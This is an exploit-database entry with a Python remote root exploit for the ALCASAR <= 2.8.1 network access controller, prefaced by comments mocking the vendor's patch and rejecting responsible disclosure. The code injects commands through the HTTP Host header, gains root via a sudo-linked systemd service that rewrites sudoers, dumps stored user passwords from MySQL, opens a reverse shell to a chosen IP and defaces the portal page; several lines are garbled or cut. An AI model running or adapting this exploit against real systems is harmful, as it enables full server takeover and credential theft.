ALCASAR <= 2.8.1 - Remote Root Code Execution Vulnerability

ID 1337DAY-ID-22644
Type zdt
Reporter rrdw
Modified 2014-09-15T00:00:00


Exploit for php platform in category web applications

                                            #!/usr/bin/env python
# -*- coding: utf-8 -*-
#    ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability
#    Author: eF
#    Date  : 2014-09-12
#    URL   :
#    This is not a responsible disclosure coz' I have no sense of ethics and I don't give a f*ck.
#        db         88           ,ad8888ba,         db         ad88888ba         db         88888888ba
#       d88b        88          d8"'    `"8b       d88b       d8"     "8b       d88b        88      "8b
#      d8'`8b       88         d8'                d8'`8b      Y8,              d8'`8b       88      ,8P
#     d8'  `8b      88         88                d8'  `8b     `Y8aaaaa,       d8'  `8b      88aaaaaa8P'
#    d8YaaaaY8b     88         88               d8YaaaaY8b      `"""""8b,    d8YaaaaY8b     88""""88'
#   d8""""""""8b    88         Y8,             d8""""""""8b           `8b   d8""""""""8b    88    `8b
#  d8'        `8b   88          Y8a.    .a8P  d8'        `8b  Y8a     a8P  d8'        `8b   88     `8b
# d8'          `8b  88888888888  `"Y8888Y"'  d8'          `8b  "Y88888P"  d8'          `8b  88      `8b
# ALCASAR is a free Network Access Controller which controls the Internet consultation networks.
# It authenticates, attributes and protects users' access regardless their connected equipment
# (PC, smartphone, game console, etc.).
# I recently released an exploit for ALCASAR 2.8 (ALCASAR <= 2.8 Remote Code Execution Vulnerability Root).
# As a reminder, it was a trivial code execution via a unfiltered exec() call:
#   $pattern = preg_replace('/www./','',$_SERVER['HTTP_HOST']);
#   exec("grep -Re ^$pattern$ /etc/dansguardian/lists/blacklists/*/domains|cut -d'/' -f6", $output);
# A few days later, a new version corrects the vulnerability. Or maybe not...
# At first, this is how ALCASAR's developers present the previous vulnerability:
# " A security hole has been discovered on ALCASAR V2.8 (only this version). This vulnerability allows a user "
# " connected on the LAN to retrieve a lot of data from the server. The ALCASAR team is testing few security  "
# " patches. A script that you could run on the active servers will be available on this forum ASAP. At that  "
# " time, the download version of ALCASAR will be incremented (V2.8.1) "
# ?!? This vulnerability allows a user connected on the LAN to *TOTALLY PWN* the server:
# Get a root shell, stop all services, sniff all connections, inject data in users' sessions, sniff passwords,
# bypass firewall rules, act as another user, etc.
# This is not just a matter of "retrieving a lot of data from the server".
# Not to alert users of real criticality of a vulnerability is a very serious lack of security.
# Lying by saying that the vulnerability only affects version 2.8 while it also affects version 2.7 is another
# one.
# Now, the patch itself: it tries to correct the vulnerability by filtering the vulnerable input:
# $pattern = filter_var($pattern, FILTER_VALIDATE_URL) == false ? "" : $pattern;
# WTF?!
# First, I think that the application no longer works. By default, filter_var() is going to accept an URL
# only if its scheme is valid:
#   $ php -r 'var_dump(filter_var("", FILTER_VALIDATE_URL));'
#     bool(false)
#   $ php -r 'var_dump(filter_var("", FILTER_VALIDATE_URL));'
#     string(21) ""
# But... we cannot put http:// in the HTTP host field, the HTTP server won't let us...
# Dev, did you try your patch?
# Instead, to execute code, it's quite easy to bypass this filtering using "mailto:email@valid.tld;cmd;"
# Service down, vulnerability still present: double fail.
# The privilege escalation in the previous exploit was using openssl, to gain reading and writing rights
# as root.
# The patch therefore removes openssl in the sudoers file (without changing the legitimate
# calls in the PHP code...). So let's use another method: systemctl is still callable via sudo...
# We can create a service with our command and start it as root:
# sudo systemctl link /tmp/pwn3d.service
# sudo systemctl start pwn3d.service
# Conclusion: triple fail.
# Wouldn't a "responsable de la sécurité des systèmes d'information d'un grand commandement" need a
# little training on secure PHP development?
# On ALCASAR website:
# "The security of the portal has been worked out like a bastion in order to resist to different
# kinds of threat"
# LOLZ!!! Remote Root Code Execution does not seem to be part of these "different kinds of threat".
# ALCASAR is not built with security in mind. Apache user can sudo, there is no chroot, no separation,
# the PHP code is dreadful, some passwords are unnecessarily stored in plaintext, the function to
# generate user password is weak, there are no system updates (kernel is out to date, from Jul 4 2013),
# etc.
# Development is not really open either: there is no bugtracker, no trac, no way to see what has been
# patched, etc. If the elementary rules of open source development had been met, a user could have
# prevented this 2.8.1 patch from being crap.
import sys, os, re, httplib
class PWN_Alcasar:
    def __init__(self, host): = host
        self.root = False
    def exec_cmd(self, cmd, output=False):
        tag = os.urandom(4).encode('hex')
        cmd = 'bash -c "%s" 2>&1' % cmd.replace('"', '\\"')
        if self.root:
            cmd = 'sudo %s' % cmd
        wrapper = 'echo %s;echo %s|base64 -d -w0|sh|base64 -w0' % (tag, cmd.encode('base64').replace('\n',''))
        wrapper = wrapper.replace(' ', '${IFS}')
        headers = {
            'host' : 'mailto:eF@cosmic.nato;%s;#' % wrapper
        c = httplib.HTTPConnection(
        c.request('GET', '/index.php', '', headers)
        r = c.getresponse()
        data =
        m ='%s, (.*)\s</div>' % tag, data)
        if m:
            data ='base64')
            if output:
                print data
            return data
        return None
    def read_file(self, filepath, output=True):
        return self.exec_cmd('cat "%s"' % filepath, output=output)
    def read_passwords(self):
        alcasar_mysql = self.read_file('/usr/local/sbin/', output=False)
        if alcasar_mysql:
            m ='radiuspwd="(.*)"', alcasar_mysql)
            if m:
                radiuspwd =
                sql = 'SELECT username,value FROM radcheck WHERE attribute like \'%%password%%\''
                self.exec_cmd('mysql -uradius -p\"%s\" radius -e "%s"' % (radiuspwd, sql), output=True)
    def edit_sudoers(self):
        service =  '[Unit]\n'
        service += 'Description=Just another ALCASAR lolcalr00t\n\n'
        service += '[Service]\n'
        service += 'Type=forking\n'
        service += 'KillMode=process\n'
        service += 'ExecStart=/bin/sh -c "sed -i s/BL,NF/BL,ALL,NF/g /etc/sudoers"\n'
        self.exec_cmd('echo %s | openssl base64 -d -out /tmp/Pwn3d.service -A' % service.encode('base64').replace('\n', ''))
        self.exec_cmd('sudo systemctl link /tmp/Pwn3d.service')
        self.exec_cmd('sudo systemctl start Pwn3d.service')
        if exploit.exec_cmd('sudo id').find('uid=0') != -1:
            self.root = True
    def reverse_shell(self, rip, rport='80'):
        payload = 'import socket,subprocess,os;'
        payload += 's=socket.socket(socket.AF_INET,socket.SOCK_STREAM);'
        payload += 's.connect((\'%s\',%s));' % (rip, rport)
        payload += 'os.dup2(s.fileno(),0);'
        payload += 'os.dup2(s.fileno(),1);'
        payload += 'os.dup2(s.fileno(),2);'
        payload += '[\'/bin/sh\',\'-i\']);'
        return self.exec_cmd('python -c "%s"' % payload)
    def lolz(self):
        old = ''
        new = '\?v=Q-J0f1yF75Y'
        self.exec_cmd('sed -i s,%s,%s,g /var/www/html/index.php' % (old, new), True)
def usage():
    print 'Usage: %s host command (ip) (port)' % sys.argv[0]
    print '       "command" can be a shell command or "reverseshell"'
if __name__ == '__main__':
    print '#' * 80
    print '# ALCASAR <= 2.8.1 Remote Root Code Execution Vulnerability'
    print '# Author: eF'
    print '#' * 80
    if len(sys.argv) < 3:
    cmd = sys.argv[2]
    if cmd == 'reverseshell':
        if len(sys.argv) < 5:
            print '[!] Need IP and port for the reverse shell...'
        rip = sys.argv[3]
        rport = sys.argv[4]
    exploit = PWN_Alcasar(sys.argv[1])
    print '[-] whoami (should be apache):'
    exploit.exec_cmd('id', output=True)
    print '[+] On the way to the uid 0...'
    print '[-] Got root?'
    exploit.exec_cmd('id', output=True)
    if exploit.root:
        print '[+] Here are some passwords for you (again):'
    if cmd == 'reverseshell':
        print '[+] You should now have a shell on %s:%s' % (rip, rport)
        exploit.reverse_shell(rip, rport)
        print '[+] Your command Sir:'
        exploit.exec_cmd(cmd, output=True)

# [2016-04-19]  #